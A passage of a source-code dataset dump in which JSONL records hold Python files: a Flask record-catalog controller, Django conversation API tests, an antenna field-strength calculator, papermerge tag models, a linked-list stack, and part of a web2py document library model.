json for jsonify\nimport json\n\n# Import the database object from the main app module\nfrom app import db\n\n# Import module models\nfrom app.records.record_model import Genre, Artist, Record\n\n# Define the blueprint: 'record', set its url prefix: app.url/\nrecordBase = Blueprint('record', __name__, url_prefix='')\n\n'''\n Set the route and accepted methods RECORDS\n'''\n\n\n@recordBase.route('/', methods=['GET', 'POST'])\n@recordBase.route('/records', methods=['GET', 'POST'])\ndef showRecords():\n \"\"\"\n\n showRecords: Show all records\n\n Args:\n\n Returns:\n Returns rendered records.html\n \"\"\"\n # pulling all record information takes some joins\n # using outjoins to handle possible deletes of artists and genres\n records = db.session.query(Record.id, Record.title, Record.year,\n Record.description, Record.artist_id,\n Record.record_image, Artist.artist_name,\n Genre.genre_name).outerjoin(Artist)\\\n .outerjoin(Genre).all()\n if 'username' not in login_session:\n return render_template(\"records/records.html\", records=records,\n loggedIn=False)\n else:\n return render_template(\"records/records.html\", records=records,\n loggedIn=True)\n\n\n@recordBase.route('/json', methods=['GET'])\n@recordBase.route('/records/json', methods=['GET'])\ndef showRecordsJSON():\n \"\"\"\n\n showRecordsJSON: Shows all records and outputs json\n\n Args:\n\n Returns:\n Returns json output of all records\n \"\"\"\n # For JSON endpoint using just record to simplify results\n records = db.session.query(Record).all()\n return jsonify(records=[r.serialize for r in records])\n\n\n@recordBase.route('/records//', methods=['GET', 'POST'])\ndef showRecordInfo(record_id):\n \"\"\"\n\n showRecordInfo: Shows single record info\n\n Args: record_id\n\n Returns:\n Returns rendered record_info.html\n \"\"\"\n record = db.session.query(Record.id, Record.title, Record.year,\n Record.description, Record.artist_id,\n Record.record_image,\n Artist.artist_name, Genre.genre_name).filter_by\\\n (id=record_id).outerjoin(Artist).outerjoin(Genre).one()\n if 'username' not in login_session:\n return render_template(\"records/record_info.html\", record=record,\n loggedIn=False)\n else:\n return render_template(\"records/record_info.html\", record=record,\n loggedIn=True)\n\n\n@recordBase.route('/records//json', methods=['GET'])\ndef showRecordsInfoJSON(record_id):\n \"\"\"\n showRecordsInfoJSON: Shows single record info outputs json\n\n Args: record_id\n\n Returns:\n Returns json output of single record\n \"\"\"\n record = db.session.query(Record).filter_by(id=record_id).one()\n return jsonify(record=[record.serialize])\n\n\n'''\n Set the route and accepted methods ARTIST\n'''\n\n\n@recordBase.route('/artists', methods=['GET', 'POST'])\ndef showArtists():\n \"\"\"\n showArtists: Shows all artists info\n\n Args:\n\n Returns:\n Returns rendered artists.html\n \"\"\"\n artists = db.session.query(Artist).all()\n if 'username' not in login_session:\n return render_template(\"artists/artists.html\", artists=artists,\n loggedIn=False)\n else:\n return render_template(\"artists/artists.html\", artists=artists,\n loggedIn=True)\n\n\n@recordBase.route('/artists/json', methods=['GET'])\ndef showArtistsJSON():\n \"\"\"\n showArtistsJSON: Shows all artists info as json\n\n Args:\n\n Returns:\n Returns all artist info in json\n \"\"\"\n artists = db.session.query(Artist).all()\n return jsonify(artists=[r.serialize for r in artists])\n\n\n@recordBase.route('/artists//', methods=['GET', 'POST'])\ndef showArtistInfo(artist_id):\n \"\"\"\n showArtistInfo: Shows single artist info\n\n Args: artist_id\n\n Returns:\n Returns rendered artist_info.html\n \"\"\"\n artist = db.session.query(Artist).filter_by(id=artist_id).one()\n records = db.session.query(Record).filter_by(artist_id=artist_id).all()\n if 'username' not in login_session:\n return render_template(\"artists/artist_info.html\", artist=artist,\n records=records, loggedIn=False)\n else:\n return render_template(\"artists/artist_info.html\", artist=artist,\n records=records, loggedIn=True)\n\n\n@recordBase.route('/artists//json', methods=['GET'])\ndef showArtistInfoJSON(artist_id):\n \"\"\"\n showArtistInfoJSON: Shows single artist info as json\n\n Args: artist_id\n\n Returns:\n Returns single artist info as json\n \"\"\"\n artist = db.session.query(Artist).filter_by(id=artist_id).one()\n return jsonify(artist=[artist.serialize])\n\n'''\n Set the route and accepted methods GENRE\n'''\n\n\n@recordBase.route('/genres', methods=['GET', 'POST'])\ndef showGenres():\n \"\"\"\n showGenres: Shows all genres info\n\n Args:\n\n Returns:\n Returns rendered genres.html\n \"\"\"\n genres = db.session.query(Genre).all()\n if 'username' not in login_session:\n return render_template(\"genres/genres.html\", genres=genres,\n loggedIn=False)\n else:\n return render_template(\"genres/genres.html\", genres=genres,\n loggedIn=True)\n\n\n@recordBase.route('/genres/json', methods=['GET'])\ndef showGenresJSON():\n \"\"\"\n showGenresJSON: Shows all genres info as json\n\n Args:\n\n Returns:\n Returns all genres info as json\n \"\"\"\n genres = db.session.query(Genre).all()\n return jsonify(genres=[r.serialize for r in genres])\n\n\n@recordBase.route('/genres//', methods=['GET', 'POST'])\ndef showGenreInfo(genre_id):\n \"\"\"\n showGenres: Shows single genre's info\n\n Args: genre_id\n\n Returns:\n Returns rendered genre_info.html\n \"\"\"\n genre = db.session.query(Genre).filter_by(id=genre_id).one()\n artists = db.session.query(Artist).filter_by(genre_id=genre_id)\n if 'username' not in login_session:\n return render_template(\"genres/genre_info.html\", genre=genre,\n artists=artists, loggedIn=False)\n else:\n return render_template(\"genres/genre_info.html\", genre=genre,\n artists=artists, loggedIn=True)\n\n\n@recordBase.route('/genres//json', methods=['GET'])\ndef showGenreInfoJSON(genre_id):\n \"\"\"\n showGenreInfoJSON: Shows single genre info as json\n\n Args: genre_id\n\n Returns:\n Returns single genre info as json\n \"\"\"\n genre = db.session.query(Genre).filter_by(id=genre_id).one()\n artist = db.session.query(Genre).filter_by(id=genre_id).one()\n return jsonify(genre=[genre.serialize])\n","repo_name":"lichtec/FSND-Project3","sub_path":"item_catalog/app/records/record_controllers.py","file_name":"record_controllers.py","file_ext":"py","file_size_in_byte":7385,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"43184164347","text":"# -*- coding: utf-8 -*-\n\nfrom mock import patch\nfrom django_dynamic_fixture import G, F\n\nfrom common.constants import (\n CONVERSATION_TYPE_CHAT, CONVERSATION_TYPE_PUBLIC_CHAT,\n NOTIFICATION_TYPE_CONVERSATION_UPDATE, CONVERSATION_TYPE_ABOUT_SHOUT)\nfrom shoutit.models import (\n Conversation, Message, MessageDelete, MessageRead, ConversationDelete\n)\nfrom tests.base import BaseTestCase, mocked_pusher\nfrom .base import DetailMixin\n\n\nclass ConversationDetailTestCase(DetailMixin, BaseTestCase):\n url_name = 'conversation-detail'\n\n @classmethod\n def setUpTestData(cls):\n cls.user1 = cls.create_user()\n cls.user2 = cls.create_user(username='john')\n cls.user3 = cls.create_user(username='akakiy', is_active=False)\n cls.c1 = G(Conversation, type=CONVERSATION_TYPE_CHAT,\n users=[cls.user1, cls.user3])\n cls.c2 = G(Conversation, type=CONVERSATION_TYPE_CHAT)\n cls.c3 = G(Conversation, type=CONVERSATION_TYPE_CHAT,\n users=[cls.user1], blocked=[cls.user1.pk])\n cls.c4 = G(Conversation, type=CONVERSATION_TYPE_PUBLIC_CHAT,\n creator=cls.user2, users=[cls.user1, cls.user2])\n\n def test_get_unauth(self):\n resp = self.client.get(self.get_url(1))\n self.assert401(resp)\n\n def test_detail_allowed_for_contributor(self):\n \"\"\"\n Returned non-public chat details for contributor\n \"\"\"\n self.login(self.user1)\n resp = self.client.get(self.get_url(self.c1.pk))\n self.assert200(resp)\n self.assert_ids_equal(self.decode_json(resp), self.c1)\n\n def test_detail_not_contributor_forbidden(self):\n \"\"\"\n Access to non-public chat is forbidden to not contributor\n \"\"\"\n self.login(self.user1)\n resp = self.client.get(self.get_url(self.c2.pk))\n self.assert403(resp)\n\n def test_detail_blocked_forbidden_even_if_contributor(self):\n \"\"\"\n Conversation is invisible for blocked user, even if he is conributor\n \"\"\"\n self.login(self.user1)\n resp = self.client.get(self.get_url(self.c3.pk))\n self.assert404(resp)\n\n def test_detail_public_chat_allowed(self):\n \"\"\"\n Access to public chat allowed for non-blocked, non-contributor user\n \"\"\"\n self.login(self.user1)\n resp = self.client.get(self.get_url(self.c4.pk))\n self.assert200(resp)\n self.assert_ids_equal(self.decode_json(resp), self.c4)\n\n def test_detail_public_chat_with_shout(self):\n \"\"\"\n Chat with type 'about_shout' shows shout details\n \"\"\"\n user = self.user1\n shout = self.create_shout(user=user,\n category=F(slug='velo'),\n item=F(name='Marin'))\n conv = G(Conversation,\n type=CONVERSATION_TYPE_ABOUT_SHOUT,\n creator=user)\n conv.attached_object = shout\n conv.users.add(user)\n conv.save()\n self.login(user)\n resp = self.client.get(self.get_url(conv.pk))\n self.assert200(resp)\n about = self.decode_json(resp)['about']\n self.assertEqual(about['title'], 'Marin')\n self.assertEqual(about['category']['slug'], 'velo')\n\n def test_detail_conversation_profiles(self):\n \"\"\"\n User profiles are shown for conversation (including not active)\n \"\"\"\n self.login(self.user1)\n resp = self.client.get(self.get_url(self.c1.pk))\n resp_ids = [p['id'] for p in self.decode_json(resp)['profiles']]\n self.assertEqual(set(resp_ids), set(['', str(self.user1.id)]))\n self.decode_json(resp)['profiles']\n\n def test_update_subject(self):\n \"\"\"\n Conversation creator can update subject, using method PATCH\n \"\"\"\n conv = G(Conversation, type=CONVERSATION_TYPE_CHAT, creator=self.user1)\n conv.users.add(self.user2)\n self.login(self.user1)\n resp = self.client.patch(self.get_url(conv.pk), {'subject': '-'})\n self.assert200(resp)\n self.assertEqual(Conversation.objects.get(pk=conv.pk).subject, '-')\n\n def test_update_icon(self):\n conv = G(Conversation, type=CONVERSATION_TYPE_CHAT, creator=self.user1)\n self.login(self.user1)\n icon_url = 'http://example.com/img.jpg'\n resp = self.client.patch(self.get_url(conv.pk), {'icon': icon_url})\n self.assert200(resp)\n conv.refresh_from_db()\n self.assertEqual(conv.icon, icon_url)\n\n @patch.object(mocked_pusher, 'trigger')\n def test_update_subject_pusher_event(self, m_trigger):\n \"\"\"\n On conversation update event is sent to pusher\n \"\"\"\n conv = G(Conversation, type=CONVERSATION_TYPE_CHAT, creator=self.user1)\n conv.users.add(self.user2)\n self.login(self.user1)\n m_trigger.reset_mock()\n self.client.patch(self.get_url(conv.pk), {'subject': '-'})\n self.assert_pusher_event(\n m_trigger, str(NOTIFICATION_TYPE_CONVERSATION_UPDATE),\n attached_object_partial_dict={'id': str(conv.id)})\n\n def test_update_subject_on_conversation_with_only_creator(self):\n \"\"\"\n Conversation with only creator can be updated\n \"\"\"\n conv = G(Conversation, type=CONVERSATION_TYPE_CHAT, creator=self.user1)\n self.login(self.user1)\n resp = self.client.patch(self.get_url(conv.pk), {'subject': '-'})\n self.assert200(resp)\n self.assertEqual(Conversation.objects.get(pk=conv.pk).subject, '-')\n\n def test_delete_conversation(self):\n \"\"\"\n Conversation creator can delete conversation\n \"\"\"\n conv = G(Conversation, type=CONVERSATION_TYPE_CHAT, creator=self.user1,\n users=[self.user1])\n self.login(self.user1)\n resp = self.client.delete(self.get_url(conv.pk))\n self.assert204(resp)\n\n def test_delete_conversation_marked_as_deleted(self):\n \"\"\"\n Deleted conversation is marked as deleted\n \"\"\"\n conv = G(Conversation, type=CONVERSATION_TYPE_CHAT, creator=self.user1)\n conv.users.add(self.user1)\n self.login(self.user1)\n self.client.delete(self.get_url(conv.pk))\n self.assertEqual(\n ConversationDelete.objects.filter(conversation=conv).count(), 1)\n\n def test_user_is_excluded_from_deleted_conversation(self):\n \"\"\"\n After user has delete the conversation, he is excluded from\n conversation contributors\n \"\"\"\n conv = G(Conversation, type=CONVERSATION_TYPE_CHAT, creator=self.user1,\n users=[self.user1, self.user2])\n self.login(self.user2)\n self.client.delete(self.get_url(conv.pk))\n self.assertNotIn(self.user2,\n Conversation.objects.get(pk=conv.pk).users.all())\n\n def test_delete_conversation_messages_marked_read(self):\n \"\"\"\n Messages of deleted conversation become read\n \"\"\"\n conv = G(Conversation, type=CONVERSATION_TYPE_CHAT, creator=self.user1,\n users=[self.user1, self.user2])\n m = G(Message, user=self.user2, conversation=conv)\n self.login(self.user1)\n self.client.delete(self.get_url(conv.pk))\n self.assertEqual(\n MessageRead.objects.filter(\n user=self.user1, message=m, conversation=conv).count(), 1)\n\n def test_delete_conversation_for_non_admin_is_allowed(self):\n \"\"\"\n Non-admin contributor can't delete conversation\n \"\"\"\n conv = G(Conversation, type=CONVERSATION_TYPE_CHAT, creator=self.user1,\n users=[self.user1, self.user2])\n self.login(self.user2)\n resp = self.client.delete(self.get_url(conv.pk))\n self.assert204(resp)\n\n\nclass ConversationDeleteMessagesTestCase(DetailMixin, BaseTestCase):\n url_name = 'conversation-delete-messages'\n\n @classmethod\n def setUpTestData(cls):\n cls.user1 = cls.create_user()\n cls.user2 = cls.create_user(username='john')\n cls.c1 = G(Conversation, type=CONVERSATION_TYPE_CHAT,\n creator=cls.user1, users=[cls.user1])\n cls.c2 = G(Conversation, type=CONVERSATION_TYPE_CHAT,\n creator=cls.user1, users=[cls.user1])\n\n def test_get_unknown_unauth(self):\n resp = self.client.post(self.get_url(1))\n self.assert401(resp)\n\n def test_delete_messages(self):\n \"\"\"\n Requested messages are marked as deleted for user from request.\n \"\"\"\n m1 = G(Message, user=self.user1, conversation=self.c1)\n m2 = G(Message, user=self.user2, conversation=self.c1)\n self.login(self.user1)\n resp = self.client.post(self.get_url(self.c1.pk), {'messages': [\n {'id': m1.id}, {'id': m2.id},\n ]})\n self.assert202(resp)\n self.assertEqual(MessageDelete.objects.count(), 2)\n self.assertEqual(\n set(MessageDelete.objects.values_list(\n 'user_id', 'message_id', 'conversation_id')),\n set([(self.user1.id, m1.id, self.c1.id),\n (self.user1.id, m2.id, self.c1.id)]))\n\n def test_delete_messages_other_conversation_excluded(self):\n \"\"\"\n Messages from other conversation is ignored for marking as deleted.\n \"\"\"\n m1 = G(Message, user=self.user1, conversation=self.c1)\n m2 = G(Message, user=self.user1, conversation=self.c2)\n self.login(self.user1)\n resp = self.client.post(self.get_url(self.c1.pk), {'messages': [\n {'id': m1.id}, {'id': m2.id},\n ]})\n self.assert202(resp)\n self.assertEqual(MessageDelete.objects.count(), 1)\n self.assertEqual(\n set(MessageDelete.objects.values_list(\n 'user_id', 'message_id', 'conversation_id')),\n set([(self.user1.id, m1.id, self.c1.id)]))\n","repo_name":"shoutit/shoutit-api","sub_path":"tests/v3/conversation/test_detail.py","file_name":"test_detail.py","file_ext":"py","file_size_in_byte":9869,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"20810186345","text":"\"\"\"Create the calculation function.\"\"\"\n\nfrom math import (sqrt, pi, log10)\nfrom numpy import interp\nfrom scipy.special import fresnel\n\nfrom Access import Access\n\n\ndef CalHighFreq(freq=None, field=None, dist=0.7):\n \"\"\"Get the target power of couple port of the coupler.\n\n\n ============== =======================================================\n **Argument:**\n freq Defalt is None, input unit is GHz, range: 0.96, 18.\n field Defalt is None, input unit is V/m.\n ============== =======================================================\n \"\"\"\n db = Access(\"/Data/BasicInfo.accdb\")\n antenna = db.GetTableContent(\"ETSHorn\", \"天线型号, 频率下限, 频率上限, VSWR,\"\n \"口面宽A, 口面高B, 波导宽a, 波导高b,\"\n \"喇叭高度L, 斜高le, 斜高lh, 距离\")\n horn = list(map(list, zip(*antenna)))\n couple = db.GetTableContent(\"HighFreqCouple\", \"Frequency, Coupling, ID,\"\n \"Insertion, Difference\")\n couple = list(map(list, zip(*couple)))\n if freq < 0.96 or freq > 18 or freq is None:\n raise ValueError(\"Wrong input freq of CalFieldHigh function.\")\n elif freq == 0.96:\n antenna = horn[0][0]\n else:\n i = horn[2].index([x for x in horn[2] if freq < x][0])\n antenna = horn[0][i]\n vswr = horn[3][i]\n a = horn[4][i] / 100\n b = horn[5][i] / 100\n le = horn[9][i] / 100\n lh = horn[10][i] / 100\n d = dist # 轴线上测量点到口面中心的距离\n s11 = (vswr - 1) / (vswr + 1)\n factor_input = 1 - pow(s11, 2)\n le1 = d * le / (le + d)\n lh1 = d * lh / (lh + d)\n lam = 0.3 / freq\n w = b / sqrt(2 * lam * le1)\n u = sqrt(lam * lh1 * 0.5) / a + a / sqrt(2 * lam * lh1)\n v = sqrt(lam * lh1 * 0.5) / a - a / sqrt(2 * lam * lh1)\n c_w = fresnel(w)[1]\n s_w = fresnel(w)[0]\n c_u = fresnel(u)[1]\n s_u = fresnel(u)[0]\n c_v = fresnel(v)[1]\n s_v = fresnel(v)[0]\n r_e = (pow(c_w, 2) + pow(s_w, 2)) / pow(w, 2)\n r_h = (0.25 * pow(pi, 2) * (pow(c_u - c_v, 2) +\n pow(s_u - s_v, 2)) / pow(u - v, 2))\n gain_0 = 32 * a * b / (pi * pow(lam, 2)) # 这个实际上也不是其远场增益\n gain_near = gain_0 * r_e * r_h # 在设定条件下的近场增益\n p_in = 1 # 端口的射频功率\n e_cal_1w = sqrt(30 * gain_near * factor_input * p_in) / d\n\n # 以下进行功率计监控部分的处理\n freq_coupler = couple[0]\n powerratio_db_coupler = couple[4] # 功率比值,dB\n freq *= pow(10, 9)\n # yi = interp1(x,Y,xi)\n power_ratio = interp(freq, freq_coupler, powerratio_db_coupler)\n pin_ambition = pow(field * d, 2) / (30 * gain_near * factor_input)\n pin_ambition_dbm = 10 * log10(pin_ambition) + 30\n p_meter_disp_dbm = pin_ambition_dbm - power_ratio\n\n return {\"PowerMeter\": p_meter_disp_dbm, \"Antenna\": antenna,\n \"ECal\": e_cal_1w}\n\n\ndef CalLowFreq(freq=None, field=None):\n \"\"\"\n ============== =======================================================\n **Argument:**\n freq Defalt is None, input unit is MHz, range: 10, 1000.\n field Defalt is None, input unit is V/m.\n ============== =======================================================\n \"\"\"\n db = Access(\"/Data/BasicInfo.accdb\")\n\n couple = db.GetTableContent(\"LowFreqCouple\", \"Frequency, Coupling, ID,\"\n \"Insertion, Difference\")\n couple = list(map(list, zip(*couple)))\n\n if freq < 1 or freq > 1000 or freq is None:\n raise ValueError(\"Wrong freq input in CalLowFreq function.\")\n elif 1 < freq < 250:\n b = 0.1489\n db.cursor.execute(\"SELECT * FROM TemZ WHERE Frequency=%f \" % freq)\n temrow = db.cursor.fetchall()\n temall = db.GetTableContent(\"TemZ\", \"Frequency, Impedance, Phase\")\n temall = list(map(list, zip(*temall)))\n if bool(temrow):\n temrow = list(temrow[0])\n z = temrow[1]\n phase = temrow[2]\n else:\n freqall = temall[0]\n zall = temall[1]\n phaseall = temall[2]\n z = interp(freq, freqall, zall)\n phase = interp(freq, freqall, phaseall)\n else:\n b = 0.07155\n db.cursor.execute(\"SELECT * FROM uTemZ WHERE Frequency=%f \" % freq)\n utemrow = db.cursor.fetchall()\n utemall = db.GetTableContent(\"uTemZ\", \"Frequency, Impedance, Phase\")\n utemall = list(map(list, zip(*utemall)))\n if bool(utemrow):\n utemrow = list(utemrow[0])\n z = utemrow[1]\n phase = utemrow[2]\n else:\n freqall = utemall[0]\n zall = utemall[1]\n phaseall = utemall[2]\n z = interp(freq, freqall, zall)\n phase = interp(freq, freqall, phaseall)\n freq_couple = couple[0]\n powerratio_db_coupler = couple[4] # 功率比值,dB\n power_ratio_antenna2pm_db = interp(freq * 1e6, freq_couple,\n powerratio_db_coupler)\n pin_ambition = pow((field * b), 2) * phase / z\n pin_ambition_dbm = 10 * log10(pin_ambition) + 30\n p_meter_disp_dbm = pin_ambition_dbm - power_ratio_antenna2pm_db\n return {\"PowerMeter\": p_meter_disp_dbm}\n\n\nif __name__ == \"__main__\":\n print(CalHighFreq(2, 20))\n # print(CalLowFreq(10, 20))\n","repo_name":"JokerLJZ/FieldSensor-Project","sub_path":"CoupleNew.py","file_name":"CoupleNew.py","file_ext":"py","file_size_in_byte":5398,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"14361758612","text":"import uuid\nfrom django.db import models\nfrom django.utils.translation import gettext_lazy as _\n\nfrom papermerge.core import validators\n\nfrom taggit.models import TagBase, GenericUUIDTaggedItemBase\nfrom taggit.managers import TaggableManager\n\n\nclass UserTaggableManager(TaggableManager):\n \"\"\"\n Taggable manager for models with user attribute.\n\n Model with user attribute means following: that model (say MO) is per user.\n Because tags are per User as well - they (tags) will need to get\n (inherit) user instance from respective model (MO). For this reason,\n save_from_data method is overriden - it passes user attribut to the newly\n saved tag model.\n\n Example: automate model is per user:\n\n class Automate(models.Model):\n ...\n tags = UserTaggableManager(\n through=ColoredTag,\n blank=True # tags are optional\n )\n ...\n user = models.ForeignKey(\n 'User',\n models.CASCADE,\n blank=True,\n null=True\n )\n ...\n )\n \"\"\"\n\n def save_form_data(self, instance, value):\n rel = getattr(instance, self.name)\n\n if hasattr(instance, 'user'):\n rel.set(*value, tag_kwargs={'user': instance.user})\n else:\n rel.set(*value)\n\n\nclass Tag(TagBase):\n id = models.UUIDField(primary_key=True, default=uuid.uuid4)\n\n bg_color = models.CharField(\n _(\"Background Color\"),\n max_length=7, # RGB color in hex notation\n default='#c41fff', # purple,\n )\n\n fg_color = models.CharField(\n _(\"Foreground Color\"),\n max_length=7, # RGB color in hex notation\n default='#FFFFFF' # white\n )\n\n description = models.TextField(\n _(\"Description (optional)\"),\n max_length=1024,\n blank=True,\n null=True\n )\n\n # a pinned tag may be displayed for example under \"Documents\" menu\n # of left side bar. It serves as shortcut for user to quickly filter\n # folders/documents with that particular tag.\n pinned = models.BooleanField(\n default=False,\n help_text=_(\n \"Pinned tag will be displayed under Documents menu. \"\n \"It serves as shortcut to quickly filter \"\n \"folders/documents associated with this tag\"\n )\n )\n\n # each user has his/her set of tags\n user = models.ForeignKey('User', models.CASCADE, related_name='tags')\n name = models.CharField(\n verbose_name=_(\"name\"),\n unique=False,\n max_length=100,\n validators=[validators.safe_character_validator]\n )\n\n class Meta:\n verbose_name = _(\"Tag\")\n verbose_name_plural = _(\"Tags\")\n ordering = ['name']\n unique_together = ['name', 'user']\n\n\nclass ColoredTag(GenericUUIDTaggedItemBase):\n tag = models.ForeignKey(\n Tag,\n on_delete=models.CASCADE,\n related_name=\"%(app_label)s_%(class)s_items\",\n )\n","repo_name":"papermerge/papermerge-core","sub_path":"papermerge/core/models/tags.py","file_name":"tags.py","file_ext":"py","file_size_in_byte":2998,"program_lang":"python","lang":"en","doc_type":"code","stars":187,"dataset":"github-code","pt":"75"} +{"seq_id":"10795674036","text":"class Node(object):\n def __init__(self, value=None, pointer=None):\n self.value = value\n self.pointer = pointer\n\n\nclass Stack(object):\n def __init__(self):\n self.head = None\n self.count = 0\n\n def isEmpty(self):\n return not bool(self.head)\n\n def push(self, item):\n self.head = Node(item, self.head)\n self.count += 1\n\n def pop(self):\n if self.count > 0 and self.head:\n node = self.head\n self.head = node.pointer\n self.count -= 1\n return node.value\n else:\n print(\"Stack is empty.\")\n\n def peek(self):\n if self.count > 0 and self.head:\n return self.head.value\n else:\n print(\"Stack is empty.\")\n\n def size(self):\n # node = self.head\n # count = 0\n # while node:\n # count += 1\n # node = node.pointer\n # return count\n return self.count\n\n def _printList(self):\n node = self.head\n while node:\n print(node.value, end=\" \")\n node = node.pointer\n print()\n\n\nif __name__ == \"__main__\":\n stack = Stack()\n print(\"스택이 비었나요? {0}\".format(stack.isEmpty()))\n print(\"스택에 숫자 0~9를 추가합니다.\")\n for i in range(10):\n stack.push(i)\n stack._printList()\n print(\"스택 크기: {0}\".format(stack.size()))\n print(\"peek: {0}\".format(stack.peek()))\n print(\"pop: {0}\".format(stack.pop()))\n print(\"peek: {0}\".format(stack.peek()))\n print(\"스택이 비었나요? {0}\".format(stack.isEmpty()))\n stack._printList()","repo_name":"hyunjinee/Algorithm","sub_path":"코딩 테스트 책/파이썬 자료구조와 알고리즘/7_추상_데이터_타입/2_stack_with_node.py","file_name":"2_stack_with_node.py","file_ext":"py","file_size_in_byte":1623,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"75"} +{"seq_id":"36070868234","text":"# -*- coding: utf-8 -*-\n\n\"\"\"\n Document Library\n\"\"\"\n\nmodule = \"doc\"\n#==============================================================================\nresourcename = \"document\"\ntablename = \"doc_document\"\ntable = db.define_table(tablename,\n Field(\"name\", length=128, notnull=True, unique=True, label=T(\"Name\")),\n Field(\"file\", \"upload\", autodelete=True,),\n Field(\"url\", label=T(\"URL\")),\n person_id(label=T(\"Author\")),\n organisation_id(),\n location_id(),\n Field(\"date\", \"date\"),\n comments(),\n Field(\"entered\", \"boolean\", label=T(\"Entered\")),\n Field(\"checksum\", readable=False, writable=False),\n migrate=migrate, *s3_meta_fields())\n\ntable.name.requires = [IS_NOT_EMPTY(), IS_NOT_ONE_OF(db, \"%s.name\" % tablename)]\n\ndef shn_file_represent( file, table):\n if file:\n return A(table.file.retrieve(file)[0],\n _href=URL(r=request, f=\"download\", args=[file]))\n else:\n return NONE\n\ntable.file.represent = lambda file, table=table: shn_file_represent(file, table)\ntable.url.represent = lambda url: url and A(url,_href=url) or NONE\n\ntable.url.requires = [IS_NULL_OR(IS_URL()), IS_NULL_OR(IS_NOT_ONE_OF(db, \"%s.url\" % tablename))]\n\ntable.person_id.comment = shn_person_comment(T(\"Author\"), T(\"The Author of this Document (optional)\"))\n\ntable.location_id.readable = table.location_id.writable = False\n\ntable.entered.comment = DIV( _class=\"tooltip\",\n _title=\"%s|%s\" % (T(\"Entered\"),\n T(\"Has data from this Reference Document been entered into Sahana?\")))\n\n# -----------------------------------------------------------------------------\ndef document_represent(id):\n if not id:\n return NONE\n represent = shn_get_db_field_value(db = db,\n table = \"doc_document\",\n field = \"name\",\n look_up = id)\n #File\n #Website\n #Person\n return A ( represent,\n _href = URL(r=request, c=\"doc\", f=\"document\", args = [id], extension = \"\"),\n _target = \"blank\"\n )\n\nDOCUMENT = T(\"Reference Document\")\nADD_DOCUMENT = T(\"Add Reference Document\")\n\ndocument_comment = DIV( A( ADD_DOCUMENT,\n _class=\"colorbox\",\n _href=URL(r=request, c=\"doc\", f=\"document\", args=\"create\", vars=dict(format=\"popup\")),\n _target=\"top\",\n _title=T(\"If you need to add a new document then you can click here to attach one.\"),\n ),\n DIV( _class=\"tooltip\",\n _title=\"%s|%s\" % (DOCUMENT,\n T(\"A Reference Document such as a file, URL or contact person to verify this data. You can type the 1st few characters of the document name to link to an existing document.\")),\n #T(\"Add a Reference Document such as a file, URL or contact person to verify this data. If you do not enter a Reference Document, your email will be displayed instead.\"),\n ),\n #SPAN( I( T(\"If you do not enter a Reference Document, your email will be displayed to allow this data to be verified.\") ),\n # _style = \"color:red\"\n # )\n )\n\n# CRUD Strings\nLIST_DOCUMENTS = T(\"List Documents\")\ns3.crud_strings[tablename] = Storage(\n title_create = ADD_DOCUMENT,\n title_display = T(\"Document Details\"),\n title_list = LIST_DOCUMENTS,\n title_update = T(\"Edit Document\"),\n title_search = T(\"Search Documents\"),\n subtitle_create = T(\"Add New Document\"),\n subtitle_list = DOCUMENT,\n label_list_button = LIST_DOCUMENTS,\n label_create_button = ADD_DOCUMENT,\n label_delete_button = T(\"Delete Document\"),\n msg_record_created = T(\"Document added\"),\n msg_record_modified = T(\"Document updated\"),\n msg_record_deleted = T(\"Document deleted\"),\n msg_list_empty = T(\"No Documents found\"))\n\ndocument_id = S3ReusableField(\"document_id\",\n table,\n requires = IS_NULL_OR(IS_ONE_OF(db, \"doc_document.id\",\n document_represent,\n orderby=\"doc_document.name\")),\n represent = document_represent,\n label = DOCUMENT,\n comment = document_comment,\n ondelete = \"RESTRICT\",\n widget = S3AutocompleteWidget(request, module, resourcename)\n )\n\ndef document_onvalidation(form):\n\n import cgi\n\n table = db.doc_document\n\n doc = form.vars.file\n url = form.vars.url\n\n if not hasattr(doc, \"file\"):\n id = request.post_vars.id\n if id:\n record = db(table.id == id).select(table.file, limitby=(0, 1)).first()\n if record:\n doc = record.file\n\n if not hasattr(doc, \"file\") and not doc and not url:\n form.errors.file = \\\n form.errors.url = T(\"Either file upload or document URL required.\")\n\n if isinstance(doc, cgi.FieldStorage) and doc.filename:\n f = doc.file\n form.vars.checksum = docChecksum(f.read())\n f.seek(0)\n if form.vars.checksum is not None:\n result = db(table.checksum == form.vars.checksum).select(table.name,\n limitby=(0, 1)).first()\n if result:\n doc_name = result.name\n form.errors[\"file\"] = \"%s %s\" % (T(\"This file already exists on the server as\"),\n doc_name)\n return\n\ns3xrc.model.configure(table,\n mark_required=[\"file\"],\n onvalidation=document_onvalidation)\n#==============================================================================\nresourcename = \"image\"\ntablename = \"doc_image\"\ntable = db.define_table(tablename,\n Field(\"name\", length=128, notnull=True, unique=True),\n Field(\"image\", \"upload\", autodelete=True),\n # Web2Py r2867+ includes this functionality by default\n #Field(\"image\", \"upload\", autodelete=True, widget=S3UploadWidget.widget),\n Field(\"url\"),\n person_id(),\n organisation_id(),\n location_id(),\n Field(\"date\", \"date\"),\n comments(),\n Field(\"checksum\", readable=False, writable=False),\n migrate=migrate, *s3_meta_fields())\n\ntable.name.requires = [IS_NOT_EMPTY(), IS_NOT_ONE_OF(db, \"%s.name\" % tablename)]\ntable.name.label = T(\"Name\")\ntable.url.requires = IS_NULL_OR(IS_URL())\ntable.url.label = T(\"URL\")\ntable.person_id.label = T(\"Person\")\n\n# upload folder needs to be visible to the download() function as well as the upload\ntable.image.uploadfolder = os.path.join(request.folder, \"uploads/images\")\nIMAGE_EXTENSIONS = [\"png\", \"PNG\", \"jpg\", \"JPG\", \"jpeg\", \"JPEG\", \"gif\", \"GIF\", \"tif\", \"TIF\", \"tiff\", \"TIFF\", \"bmp\", \"BMP\", \"raw\", \"RAW\"]\ntable.image.requires = IS_IMAGE(extensions=(IMAGE_EXTENSIONS))\n#table.image.requires = IS_EMPTY_OR(IS_IMAGE(extensions=(IMAGE_EXTENSIONS)))\ntable.image.represent = lambda image: image and \\\n DIV(A(IMG(_src=URL(r=request, c=\"default\", f=\"download\", args=image),\n _height=60,\n _alt=T(\"View Image\")),\n _href=URL(r=request, c=\"default\", f=\"download\", args=image))) or \\\n T(\"No 